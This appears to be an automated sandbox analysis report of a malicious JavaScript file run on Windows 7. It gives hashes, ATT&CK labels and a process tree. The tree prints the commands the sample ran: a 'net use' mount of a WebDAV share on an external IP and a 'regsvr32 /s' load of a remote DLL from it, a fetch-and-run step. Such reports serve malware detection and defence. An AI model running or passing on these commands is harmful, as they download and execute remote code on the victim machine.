404adcf475877d3deda78b044d460ae13e04dd03859a1dcc153aef28667c344c

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 01:25

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General

Target

30557306321113626945.js
Size

5KB
MD5

cff872d6669a626c019b2e1c157d1410
SHA1

a1eaabf62b9be46406f832e3e2d78b935c645bc6
SHA256

5095d9c7d58c3c90b2379a40be496467d78803b5c0daa3cb3215a51e105b77ae
SHA512

59cba94910f0bad56fe3239a322f1de8952ee9191687e21fd6d93feac35f4a166721984485de291124570a1ab63bcd9fcfa631c0dcf52f80385f51bdb84a136e
SSDEEP

96:PUbwTauP7naqAnaq5dekQKJLx2LcIqMHWC2vTlmVYqBpWkW9kEWg:yukQKJLffC24qR9kxg

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2660	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1564 wrote to memory of 2404	1564	wscript.exe	30
PID 1564 wrote to memory of 2404	1564	wscript.exe	30
PID 1564 wrote to memory of 2404	1564	wscript.exe	30
PID 2404 wrote to memory of 2360	2404	cmd.exe	32
PID 2404 wrote to memory of 2360	2404	cmd.exe	32
PID 2404 wrote to memory of 2360	2404	cmd.exe	32
PID 2404 wrote to memory of 2660	2404	cmd.exe	33
PID 2404 wrote to memory of 2660	2404	cmd.exe	33
PID 2404 wrote to memory of 2660	2404	cmd.exe	33
PID 2404 wrote to memory of 2660	2404	cmd.exe	33
PID 2404 wrote to memory of 2660	2404	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\30557306321113626945.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\30557306321113626945.js" "C:\Users\Admin\\uvgedr.bat" && "C:\Users\Admin\\uvgedr.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2360
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\392.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\uvgedr.bat

Filesize
5KB

MD5
cff872d6669a626c019b2e1c157d1410

SHA1
a1eaabf62b9be46406f832e3e2d78b935c645bc6

SHA256
5095d9c7d58c3c90b2379a40be496467d78803b5c0daa3cb3215a51e105b77ae

SHA512
59cba94910f0bad56fe3239a322f1de8952ee9191687e21fd6d93feac35f4a166721984485de291124570a1ab63bcd9fcfa631c0dcf52f80385f51bdb84a136e

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